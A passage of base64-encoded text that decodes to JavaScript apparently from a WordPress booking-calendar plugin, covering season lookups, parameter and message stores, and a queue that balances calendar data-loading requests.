IFsgJ3dwYmNfc2Vhc29uX3NlcHRlbWJlcl8yMDIzJywgJ3dwYmNfc2Vhc29uX3NlcHRlbWJlcl8yMDI0JyBdXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge3N0cmluZ3xpbnR9IHJlc291cmNlX2lkXHRcdFx0JzEnXHJcblx0ICogQHBhcmFtIHtzdHJpbmd9IHNxbF9jbGFzc19kYXlcdFx0XHQnMjAyMy0wNy0yMSdcclxuXHQgKiBAcmV0dXJucyB7b2JqZWN0fGJvb2xlYW59XHRcdFx0XHRbXSAgfCAgWyAnd3BiY19zZWFzb25fc2VwdGVtYmVyXzIwMjMnLCAnd3BiY19zZWFzb25fc2VwdGVtYmVyXzIwMjQnIF1cclxuXHQgKi9cclxuXHRvYmouc2Vhc29uc19fZ2V0X2Zvcl9kYXRlID0gZnVuY3Rpb24oIHJlc291cmNlX2lkLCBzcWxfY2xhc3NfZGF5ICl7XHJcblxyXG5cdFx0aWYgKFxyXG5cdFx0XHQgICAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YgKCBwX3NlYXNvbnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXSApIClcclxuXHRcdFx0JiYgKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mICggcF9zZWFzb25zWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bIHNxbF9jbGFzc19kYXkgXSApIClcclxuXHRcdCl7XHJcblx0XHRcdHJldHVybiAgcF9zZWFzb25zWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bIHNxbF9jbGFzc19kYXkgXTtcclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gW107XHRcdC8vIElmIG5vdCBkZWZpbmVkLCB0aGVuIFtdO1xyXG5cdH07XHJcblxyXG5cclxuXHQvLyBPdGhlciBwYXJhbWV0ZXJzIFx0XHRcdC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdHZhciBwX290aGVyID0gb2JqLm90aGVyX29iaiA9IG9iai5vdGhlcl9vYmogfHwgeyB9O1xyXG5cclxuXHRvYmouc2V0X290aGVyX3BhcmFtID0gZnVuY3Rpb24gKCBwYXJhbV9rZXksIHBhcmFtX3ZhbCApIHtcclxuXHRcdHBfb3RoZXJbIHBhcmFtX2tleSBdID0gcGFyYW1fdmFsO1xyXG5cdH07XHJcblxyXG5cdG9iai5nZXRfb3RoZXJfcGFyYW0gPSBmdW5jdGlvbiAoIHBhcmFtX2tleSApIHtcclxuXHRcdHJldHVybiBwX290aGVyWyBwYXJhbV9rZXkgXTtcclxuXHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgYWxsIG90aGVyIHBhcmFtc1xyXG5cdCAqXHJcblx0ICogQHJldHVybnMge29iamVjdHx7fX1cclxuXHQgKi9cclxuXHRvYmouZ2V0X290aGVyX3BhcmFtX19hbGwgPSBmdW5jdGlvbiAoKSB7XHJcblx0XHRyZXR1cm4gcF9vdGhlcjtcclxuXHR9O1xyXG5cclxuXHQvLyBNZXNzYWdlcyBcdFx0XHQgICAgICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdHZhciBwX21lc3NhZ2VzID0gb2JqLm1lc3NhZ2VzX29iaiA9IG9iai5tZXNzYWdlc19vYmogfHwgeyB9O1xyXG5cclxuXHRvYmouc2V0X21lc3NhZ2UgPSBmdW5jdGlvbiAoIHBhcmFtX2tleSwgcGFyYW1fdmFsICkge1xyXG5cdFx0cF9tZXNzYWdlc1sgcGFyYW1fa2V5IF0gPSBwYXJhbV92YWw7XHJcblx0fTtcclxuXHJcblx0b2JqLmdldF9tZXNzYWdlID0gZnVuY3Rpb24gKCBwYXJhbV9rZXkgKSB7XHJcblx0XHRyZXR1cm4gcF9tZXNzYWdlc1sgcGFyYW1fa2V5IF07XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogR2V0IGFsbCBvdGhlciBwYXJhbXNcclxuXHQgKlxyXG5cdCAqIEByZXR1cm5zIHtvYmplY3R8e319XHJcblx0ICovXHJcblx0b2JqLmdldF9tZXNzYWdlc19fYWxsID0gZnVuY3Rpb24gKCkge1xyXG5cdFx0cmV0dXJuIHBfbWVzc2FnZXM7XHJcblx0fTtcclxuXHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcblx0cmV0dXJuIG9iajtcclxuXHJcbn0oIF93cGJjIHx8IHt9LCBqUXVlcnkgKSk7XHJcbiIsIi8qKlxyXG4gKiBFeHRlbmQgX3dwYmMgd2l0aCAgbmV3IG1ldGhvZHMgICAgICAgIC8vRml4SW46IDkuOC42LjJcclxuICpcclxuICogQHR5cGUgeyp8e319XHJcbiAqIEBwcml2YXRlXHJcbiAqL1xyXG4gX3dwYmMgPSAoZnVuY3Rpb24gKCBvYmosICQpIHtcclxuXHJcblx0Ly8gTG9hZCBCYWxhbmNlciBcdC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG5cdHZhciBwX2JhbGFuY2VyID0gb2JqLmJhbGFuY2VyX29iaiA9IG9iai5iYWxhbmNlcl9vYmogfHwge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdtYXhfdGhyZWFkcyc6IDIsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2luX3Byb2Nlc3MnIDogW10sXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3dhaXQnICAgICAgIDogW11cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fTtcclxuXHJcblx0IC8qKlxyXG5cdCAgKiBTZXQgIG1heCBwYXJhbGxlbCByZXF1ZXN0ICB0byAgbG9hZFxyXG5cdCAgKlxyXG5cdCAgKiBAcGFyYW0gbWF4X3RocmVhZHNcclxuXHQgICovXHJcblx0b2JqLmJhbGFuY2VyX19zZXRfbWF4X3RocmVhZHMgPSBmdW5jdGlvbiAoIG1heF90aHJlYWRzICl7XHJcblxyXG5cdFx0cF9iYWxhbmNlclsgJ21heF90aHJlYWRzJyBdID0gbWF4X3RocmVhZHM7XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogIENoZWNrIGlmIGJhbGFuY2VyIGZvciBzcGVjaWZpYyBib29raW5nIHJlc291cmNlIGRlZmluZWQgICA6OiAgIHRydWUgfCBmYWxzZVxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtzdHJpbmd8aW50fSByZXNvdXJjZV9pZFxyXG5cdCAqIEByZXR1cm5zIHtib29sZWFufVxyXG5cdCAqL1xyXG5cdG9iai5iYWxhbmNlcl9faXNfZGVmaW5lZCA9IGZ1bmN0aW9uICggcmVzb3VyY2VfaWQgKSB7XHJcblxyXG5cdFx0cmV0dXJuICgndW5kZWZpbmVkJyAhPT0gdHlwZW9mKCBwX2JhbGFuY2VyWyAnYmFsYW5jZXJfJyArIHJlc291cmNlX2lkIF0gKSApO1xyXG5cdH07XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiAgQ3JlYXRlIGJhbGFuY2VyIGluaXRpYWxpemluZ1xyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtzdHJpbmd8aW50fSByZXNvdXJjZV9pZFxyXG5cdCAqL1xyXG5cdG9iai5iYWxhbmNlcl9faW5pdCA9IGZ1bmN0aW9uICggcmVzb3VyY2VfaWQsIGZ1bmN0aW9uX25hbWUgLCBwYXJhbXMgPXt9KSB7XHJcblxyXG5cdFx0dmFyIGJhbGFuY2Vfb2JqID0ge307XHJcblx0XHRiYWxhbmNlX29ialsgJ3Jlc291cmNlX2lkJyBdICAgPSByZXNvdXJjZV9pZDtcclxuXHRcdGJhbGFuY2Vfb2JqWyAncHJpb3JpdHknIF0gICAgICA9IDE7XHJcblx0XHRiYWxhbmNlX29ialsgJ2Z1bmN0aW9uX25hbWUnIF0gPSBmdW5jdGlvbl9uYW1lO1xyXG5cdFx0YmFsYW5jZV9vYmpbICdwYXJhbXMnIF0gICAgICAgID0gd3BiY19jbG9uZV9vYmooIHBhcmFtcyApO1xyXG5cclxuXHJcblx0XHRpZiAoIG9iai5iYWxhbmNlcl9faXNfYWxyZWFkeV9ydW4oIHJlc291cmNlX2lkLCBmdW5jdGlvbl9uYW1lICkgKXtcclxuXHRcdFx0cmV0dXJuICdydW4nO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCBvYmouYmFsYW5jZXJfX2lzX2FscmVhZHlfd2FpdCggcmVzb3VyY2VfaWQsIGZ1bmN0aW9uX25hbWUgKSApe1xyXG5cdFx0XHRyZXR1cm4gJ3dhaXQnO1xyXG5cdFx0fVxyXG5cclxuXHJcblx0XHRpZiAoIG9iai5iYWxhbmNlcl9fY2FuX2lfcnVuKCkgKXtcclxuXHRcdFx0b2JqLmJhbGFuY2VyX19hZGRfdG9fX3J1biggYmFsYW5jZV9vYmogKTtcclxuXHRcdFx0cmV0dXJuICdydW4nO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0b2JqLmJhbGFuY2VyX19hZGRfdG9fX3dhaXQoIGJhbGFuY2Vfb2JqICk7XHJcblx0XHRcdHJldHVybiAnd2FpdCc7XHJcblx0XHR9XHJcblx0fTtcclxuXHJcblx0IC8qKlxyXG5cdCAgKiBDYW4gSSBSdW4gP1xyXG5cdCAgKiBAcmV0dXJucyB7Ym9vbGVhbn1cclxuXHQgICovXHJcblx0b2JqLmJhbGFuY2VyX19jYW5faV9ydW4gPSBmdW5jdGlvbiAoKXtcclxuXHRcdHJldHVybiAoIHBfYmFsYW5jZXJbICdpbl9wcm9jZXNzJyBdLmxlbmd0aCA8IHBfYmFsYW5jZXJbICdtYXhfdGhyZWFkcycgXSApO1xyXG5cdH1cclxuXHJcblx0XHQgLyoqXHJcblx0XHQgICogQWRkIHRvIFdBSVRcclxuXHRcdCAgKiBAcGFyYW0gYmFsYW5jZV9vYmpcclxuXHRcdCAgKi9cclxuXHRcdG9iai5iYWxhbmNlcl9fYWRkX3RvX193YWl0ID0gZnVuY3Rpb24gKCBiYWxhbmNlX29iaiApIHtcclxuXHRcdFx0cF9iYWxhbmNlclsnd2FpdCddLnB1c2goIGJhbGFuY2Vfb2JqICk7XHJcblx0XHR9XHJcblxyXG5cdFx0IC8qKlxyXG5cdFx0ICAqIFJlbW92ZSBmcm9tIFdhaXRcclxuXHRcdCAgKlxyXG5cdFx0ICAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdFx0ICAqIEBwYXJhbSBmdW5jdGlvbl9uYW1lXHJcblx0XHQgICogQHJldHVybnMgeyp8Ym9vbGVhbn1cclxuXHRcdCAgKi9cclxuXHRcdG9iai5iYWxhbmNlcl9fcmVtb3ZlX2Zyb21fX3dhaXRfbGlzdCA9IGZ1bmN0aW9uICggcmVzb3VyY2VfaWQsIGZ1bmN0aW9uX25hbWUgKXtcclxuXHJcblx0XHRcdHZhciByZW1vdmVkX2VsID0gZmFsc2U7XHJcblxyXG5cdFx0XHRpZiAoIHBfYmFsYW5jZXJbICd3YWl0JyBdLmxlbmd0aCApe1x0XHRcdFx0XHQvL0ZpeEluOiA5LjguMTAuMVxyXG5cdFx0XHRcdGZvciAoIHZhciBpIGluIHBfYmFsYW5jZXJbICd3YWl0JyBdICl7XHJcblx0XHRcdFx0XHRpZiAoXHJcblx0XHRcdFx0XHRcdChyZXNvdXJjZV9pZCA9PT0gcF9iYWxhbmNlclsgJ3dhaXQnIF1bIGkgXVsgJ3Jlc291cmNlX2lkJyBdKVxyXG5cdFx0XHRcdFx0XHQmJiAoZnVuY3Rpb25fbmFtZSA9PT0gcF9iYWxhbmNlclsgJ3dhaXQnIF1bIGkgXVsgJ2Z1bmN0aW9uX25hbWUnIF0pXHJcblx0XHRcdFx0XHQpe1xyXG5cdFx0XHRcdFx0XHRyZW1vdmVkX2VsID0gcF9iYWxhbmNlclsgJ3dhaXQnIF0uc3BsaWNlKCBpLCAxICk7XHJcblx0XHRcdFx0XHRcdHJlbW92ZWRfZWwgPSByZW1vdmVkX2VsLnBvcCgpO1xyXG5cdFx0XHRcdFx0XHRwX2JhbGFuY2VyWyAnd2FpdCcgXSA9IHBfYmFsYW5jZXJbICd3YWl0JyBdLmZpbHRlciggZnVuY3Rpb24gKCB2ICl7XHJcblx0XHRcdFx0XHRcdFx0cmV0dXJuIHY7XHJcblx0XHRcdFx0XHRcdH0gKTtcdFx0XHRcdFx0Ly8gUmVpbmRleCBhcnJheVxyXG5cdFx0XHRcdFx0XHRyZXR1cm4gcmVtb3ZlZF9lbDtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHRcdFx0cmV0dXJuIHJlbW92ZWRfZWw7XHJcblx0XHR9XHJcblxyXG5cdFx0LyoqXHJcblx0XHQqIElzIGFscmVhZHkgV0FJVFxyXG5cdFx0KlxyXG5cdFx0KiBAcGFyYW0gcmVzb3VyY2VfaWRcclxuXHRcdCogQHBhcmFtIGZ1bmN0aW9uX25hbWVcclxuXHRcdCogQHJldHVybnMge2Jvb2xlYW59XHJcblx0XHQqL1xyXG5cdFx0b2JqLmJhbGFuY2VyX19pc19hbHJlYWR5X3dhaXQgPSBmdW5jdGlvbiAoIHJlc291cmNlX2lkLCBmdW5jdGlvbl9uYW1lICl7XHJcblxyXG5cdFx0XHRpZiAoIHBfYmFsYW5jZXJbICd3YWl0JyBdLmxlbmd0aCApe1x0XHRcdFx0Ly9GaXhJbjogOS44LjEwLjFcclxuXHRcdFx0XHRmb3IgKCB2YXIgaSBpbiBwX2JhbGFuY2VyWyAnd2FpdCcgXSApe1xyXG5cdFx0XHRcdFx0aWYgKFxyXG5cdFx0XHRcdFx0XHQocmVzb3VyY2VfaWQgPT09IHBfYmFsYW5jZXJbICd3YWl0JyBdWyBpIF1bICdyZXNvdXJjZV9pZCcgXSlcclxuXHRcdFx0XHRcdFx0JiYgKGZ1bmN0aW9uX25hbWUgPT09IHBfYmFsYW5jZXJbICd3YWl0JyBdWyBpIF1bICdmdW5jdGlvbl9uYW1lJyBdKVxyXG5cdFx0XHRcdFx0KXtcclxuXHRcdFx0XHRcdFx0cmV0dXJuIHRydWU7XHJcblx0XHRcdFx0XHR9XHJcblx0XHRcdFx0fVxyXG5cdFx0XHR9XHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHJcblxyXG5cdFx0IC8qKlxyXG5cdFx0ICAqIEFkZCB0byBSVU5cclxuXHRcdCAgKiBAcGFyYW0gYmFsYW5jZV9vYmpcclxuXHRcdCAgKi9cclxuXHRcdG9iai5iYWxhbmNlcl9fYWRkX3RvX19ydW4gPSBmdW5jdGlvbiAoIGJhbGFuY2Vfb2JqICkge1xyXG5cdFx0XHRwX2JhbGFuY2VyWydpbl9wcm9jZXNzJ10ucHVzaCggYmFsYW5jZV9vYmogKTtcclxuXHRcdH1cclxuXHJcblx0XHQvKipcclxuXHRcdCogUmVtb3ZlIGZyb20gUlVOIGxpc3RcclxuXHRcdCpcclxuXHRcdCogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0XHQqIEBwYXJhbSBmdW5jdGlvbl9uYW1lXHJcblx0XHQqIEByZXR1cm5zIHsqfGJvb2xlYW59XHJcblx0XHQqL1xyXG5cdFx0b2JqLmJhbGFuY2VyX19yZW1vdmVfZnJvbV9fcnVuX2xpc3QgPSBmdW5jdGlvbiAoIHJlc291cmNlX2lkLCBmdW5jdGlvbl9uYW1lICl7XHJcblxyXG5cdFx0XHQgdmFyIHJlbW92ZWRfZWwgPSBmYWxzZTtcclxuXHJcblx0XHRcdCBpZiAoIHBfYmFsYW5jZXJbICdpbl9wcm9jZXNzJyBdLmxlbmd0aCApe1x0XHRcdFx0Ly9GaXhJbjogOS44LjEwLjFcclxuXHRcdFx0XHQgZm9yICggdmFyIGkgaW4gcF9iYWxhbmNlclsgJ2luX3Byb2Nlc3MnIF0gKXtcclxuXHRcdFx0XHRcdCBpZiAoXHJcblx0XHRcdFx0XHRcdCAocmVzb3VyY2VfaWQgPT09IHBfYmFsYW5jZXJbICdpbl9wcm9jZXNzJyBdWyBpIF1bICdyZXNvdXJjZV9pZCcgXSlcclxuXHRcdFx0XHRcdFx0ICYmIChmdW5jdGlvbl9uYW1lID09PSBwX2JhbGFuY2VyWyAnaW5fcHJvY2VzcycgXVsgaSBdWyAnZnVuY3Rpb25fbmFtZScgXSlcclxuXHRcdFx0XHRcdCApe1xyXG5cdFx0XHRcdFx0XHQgcmVtb3ZlZF9lbCA9IHBfYmFsYW5jZXJbICdpbl9wcm9jZXNzJyBdLnNwbGljZSggaSwgMSApO1xyXG5cdFx0XHRcdFx0XHQgcmVtb3ZlZF9lbCA9IHJlbW92ZWRfZWwucG9wKCk7XHJcblx0XHRcdFx0XHRcdCBwX2JhbGFuY2VyWyAnaW5fcHJvY2VzcycgXSA9IHBfYmFsYW5jZXJbICdpbl9wcm9jZXNzJyBdLmZpbHRlciggZnVuY3Rpb24gKCB2ICl7XHJcblx0XHRcdFx0XHRcdFx0IHJldHVybiB2O1xyXG5cdFx0XHRcdFx0XHQgfSApO1x0XHQvLyBSZWluZGV4IGFycmF5XHJcblx0XHRcdFx0XHRcdCByZXR1cm4gcmVtb3ZlZF9lbDtcclxuXHRcdFx0XHRcdCB9XHJcblx0XHRcdFx0IH1cclxuXHRcdFx0IH1cclxuXHRcdFx0IHJldHVybiByZW1vdmVkX2VsO1xyXG5cdFx0fVxyXG5cclxuXHRcdC8qKlxyXG5cdFx0KiBJcyBhbHJlYWR5IFJVTlxyXG5cdFx0KlxyXG5cdFx0KiBAcGFyYW0gcmVzb3VyY2VfaWRcclxuXHRcdCogQHBhcmFtIGZ1bmN0aW9uX25hbWVcclxuXHRcdCogQHJldHVybnMge2Jvb2xlYW59XHJcblx0XHQqL1xyXG5cdFx0b2JqLmJhbGFuY2VyX19pc19hbHJlYWR5X3J1biA9IGZ1bmN0aW9uICggcmVzb3VyY2VfaWQsIGZ1bmN0aW9uX25hbWUgKXtcclxuXHJcblx0XHRcdGlmICggcF9iYWxhbmNlclsgJ2luX3Byb2Nlc3MnIF0ubGVuZ3RoICl7XHRcdFx0XHRcdC8vRml4SW46IDkuOC4xMC4xXHJcblx0XHRcdFx0Zm9yICggdmFyIGkgaW4gcF9iYWxhbmNlclsgJ2luX3Byb2Nlc3MnIF0gKXtcclxuXHRcdFx0XHRcdGlmIChcclxuXHRcdFx0XHRcdFx0KHJlc291cmNlX2lkID09PSBwX2JhbGFuY2VyWyAnaW5fcHJvY2VzcycgXVsgaSBdWyAncmVzb3VyY2VfaWQnIF0pXHJcblx0XHRcdFx0XHRcdCYmIChmdW5jdGlvbl9uYW1lID09PSBwX2JhbGFuY2VyWyAnaW5fcHJvY2VzcycgXVsgaSBdWyAnZnVuY3Rpb25fbmFtZScgXSlcclxuXHRcdFx0XHRcdCl7XHJcblx0XHRcdFx0XHRcdHJldHVybiB0cnVlO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHR9XHJcblxyXG5cclxuXHJcblx0b2JqLmJhbGFuY2VyX19ydW5fbmV4dCA9IGZ1bmN0aW9uICgpe1xyXG5cclxuXHRcdC8vIEdldCAxc3QgZnJvbSAgV2FpdCBsaXN0XHJcblx0XHR2YXIgcmVtb3ZlZF9lbCA9IGZhbHNlO1xyXG5cdFx0aWYgKCBwX2JhbGFuY2VyWyAnd2FpdCcgXS5sZW5ndGggKXtcdFx0XHRcdFx0Ly9GaXhJbjogOS44LjEwLjFcclxuXHRcdFx0Zm9yICggdmFyIGkgaW4gcF9iYWxhbmNlclsgJ3dhaXQnIF0gKXtcclxuXHRcdFx0XHRyZW1vdmVkX2VsID0gb2JqLmJhbGFuY2VyX19yZW1vdmVfZnJvbV9fd2FpdF9saXN0KCBwX2JhbGFuY2VyWyAnd2FpdCcgXVsgaSBdWyAncmVzb3VyY2VfaWQnIF0sIHBfYmFsYW5jZXJbICd3YWl0JyBdWyBpIF1bICdmdW5jdGlvbl9uYW1lJyBdICk7XHJcblx0XHRcdFx0YnJlYWs7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHJcblx0XHRpZiAoIGZhbHNlICE9PSByZW1vdmVkX2VsICl7XHJcblxyXG5cdFx0XHQvLyBSdW5cclxuXHRcdFx0b2JqLmJhbGFuY2VyX19ydW4oIHJlbW92ZWRfZWwgKTtcclxuXHRcdH1cclxuXHR9XHJcblxyXG5cdCAvKipcclxuXHQgICogUnVuXHJcblx0ICAqIEBwYXJhbSBiYWxhbmNlX29ialxyXG5cdCAgKi9cclxuXHRvYmouYmFsYW5jZXJfX3J1biA9IGZ1bmN0aW9uICggYmFsYW5jZV9vYmogKXtcclxuXHJcblx0XHRzd2l0Y2ggKCBiYWxhbmNlX29ialsgJ2Z1bmN0aW9uX25hbWUnIF0gKXtcclxuXHJcblx0XHRcdGNhc2UgJ3dwYmNfY2FsZW5kYXJfX2xvYWRfZGF0YV9fYWp4JzpcclxuXHJcblx0XHRcdFx0Ly8gQWRkIHRvIHJ1biBsaXN0XHJcblx0XHRcdFx0b2JqLmJhbGFuY2VyX19hZGRfdG9fX3J1biggYmFsYW5jZV9vYmogKTtcclxuXHJcblx0XHRcdFx0d3BiY19jYWxlbmRhcl9fbG9hZF9kYXRhX19hangoIGJhbGFuY2Vfb2JqWyAncGFyYW1zJyBdIClcclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGRlZmF1bHQ6XHJcblx0XHR9XHJcblx0fVxyXG5cclxuXHRyZXR1cm4gb2JqO1xyXG5cclxufSggX3dwYmMgfHwge30sIGpRdWVyeSApKTtcclxuXHJcblxyXG4gXHQvKipcclxuIFx0ICogLS0gSGVscCBmdW5jdGlvbnMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdCAqL1xyXG5cclxuXHRmdW5jdGlvbiB3cGJjX2JhbGFuY2VyX19pc193YWl0KCBwYXJhbXMsIGZ1bmN0aW9uX25hbWUgKXtcclxuLy9jb25zb2xlLmxvZygnOjp3cGJjX2JhbGFuY2VyX19pc193YWl0JyxwYXJhbXMgLCBmdW5jdGlvbl9uYW1lICk7XHJcblx0XHRpZiAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YgKHBhcmFtc1sgJ3Jlc291cmNlX2lkJyBdKSApe1xyXG5cclxuXHRcdFx0dmFyIGJhbGFuY2VyX3N0YXR1cyA9IF93cGJjLmJhbGFuY2VyX19pbml0KCBwYXJhbXNbICdyZXNvdXJjZV9pZCcgXSwgZnVuY3Rpb25fbmFtZSwgcGFyYW1zICk7XHJcblxyXG5cdFx0XHRyZXR1cm4gKCAnd2FpdCcgPT09IGJhbGFuY2VyX3N0YXR1cyApO1xyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBmYWxzZTtcclxuXHR9XHJcblxyXG5cclxuXHRmdW5jdGlvbiB3cGJjX2JhbGFuY2VyX19jb21wbGV0ZWQoIHJlc291cmNlX2lkICwgZnVuY3Rpb25fbmFtZSApe1xyXG4vL2NvbnNvbGUubG9nKCc6OndwYmNfYmFsYW5jZXJfX2NvbXBsZXRlZCcscmVzb3VyY2VfaWQgLCBmdW5jdGlvbl9uYW1lICk7XHJcblx0XHRfd3BiYy5iYWxhbmNlcl9fcmVtb3ZlX2Zyb21fX3J1bl9saXN0KCByZXNvdXJjZV9pZCwgZnVuY3Rpb25fbmFtZSApO1xyXG5cdFx0X3dwYmMuYmFsYW5jZXJfX3J1bl9uZXh0KCk7XHJcblx0fSIsIi8qKlxyXG4gKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cclxuICpcdGluY2x1ZGVzL19fanMvY2FsL3dwYmNfY2FsLmpzXHJcbiAqID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG4gKi9cclxuXHJcbi8qKlxyXG4gKiBPcmRlciBvciBjaGlsZCBib29raW5nIHJlc291cmNlcyBzYXZlZCBoZXJlOiAgXHRfd3BiYy5ib29raW5nX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAncmVzb3VyY2VzX2lkX2Fycl9faW5fZGF0ZXMnIClcdFx0WzIsMTAsMTIsMTFdXHJcbiAqL1xyXG5cclxuLyoqXHJcbiAqIEhvdyB0byBjaGVjayAgYm9va2VkIHRpbWVzIG9uICBzcGVjaWZpYyBkYXRlOiA/XHJcbiAqXHJcblx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoMiwnMjAyMy0wOC0yMScpO1xyXG5cclxuXHRcdFx0Y29uc29sZS5sb2coXHJcblx0XHRcdFx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoMiwnMjAyMy0wOC0yMScpWzJdLmJvb2tlZF90aW1lX3Nsb3RzLm1lcmdlZF9zZWNvbmRzLFxyXG5cdFx0XHRcdFx0XHRfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKDIsJzIwMjMtMDgtMjEnKVsxMF0uYm9va2VkX3RpbWVfc2xvdHMubWVyZ2VkX3NlY29uZHMsXHJcblx0XHRcdFx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoMiwnMjAyMy0wOC0yMScpWzExXS5ib29rZWRfdGltZV9zbG90cy5tZXJnZWRfc2Vjb25kcyxcclxuXHRcdFx0XHRcdFx0X3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSgyLCcyMDIzLTA4LTIxJylbMTJdLmJvb2tlZF90aW1lX3Nsb3RzLm1lcmdlZF9zZWNvbmRzXHJcblx0XHRcdFx0XHQpO1xyXG4gKiAgT1JcclxuXHRcdFx0Y29uc29sZS5sb2coXHJcblx0XHRcdFx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoMiwnMjAyMy0wOC0yMScpWzJdLmJvb2tlZF90aW1lX3Nsb3RzLm1lcmdlZF9yZWFkYWJsZSxcclxuXHRcdFx0XHRcdFx0X3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSgyLCcyMDIzLTA4LTIxJylbMTBdLmJvb2tlZF90aW1lX3Nsb3RzLm1lcmdlZF9yZWFkYWJsZSxcclxuXHRcdFx0XHRcdFx0X3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSgyLCcyMDIzLTA4LTIxJylbMTFdLmJvb2tlZF90aW1lX3Nsb3RzLm1lcmdlZF9yZWFkYWJsZSxcclxuXHRcdFx0XHRcdFx0X3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSgyLCcyMDIzLTA4LTIxJylbMTJdLmJvb2tlZF90aW1lX3Nsb3RzLm1lcmdlZF9yZWFkYWJsZVxyXG5cdFx0XHRcdFx0KTtcclxuICpcclxuICovXHJcblxyXG4vKipcclxuICogRGF5cyBzZWxlY3Rpb246XHJcbiAqIFx0XHRcdFx0XHR3cGJjX2NhbGVuZGFyX191bnNlbGVjdF9hbGxfZGF0ZXMoIHJlc291cmNlX2lkICk7XHJcbiAqXHJcbiAqXHRcdFx0XHRcdHZhciByZXNvdXJjZV9pZCA9IDE7XHJcbiAqIFx0RXhhbXBsZSAxOlx0XHR2YXIgbnVtX3NlbGVjdGVkX2RheXMgPSB3cGJjX2F1dG9fc2VsZWN0X2RhdGVzX2luX2NhbGVuZGFyKCByZXNvdXJjZV9pZCwgJzIwMjQtMDUtMTUnLCAnMjAyNC0wNS0yNScgKTtcclxuICogXHRFeGFtcGxlIDI6XHRcdHZhciBudW1fc2VsZWN0ZWRfZGF5cyA9IHdwYmNfYXV0b19zZWxlY3RfZGF0ZXNfaW5fY2FsZW5kYXIoIHJlc291cmNlX2lkLCBbJzIwMjQtMDUtMDknLCcyMDI0LTA1LTE5JywnMjAyNC0wNS0yNSddICk7XHJcbiAqXHJcbiAqL1xyXG5cclxuXHJcbi8qKlxyXG4gKiBDIEEgTCBFIE4gRCBBIFIgIC0tLS0tLS0tLS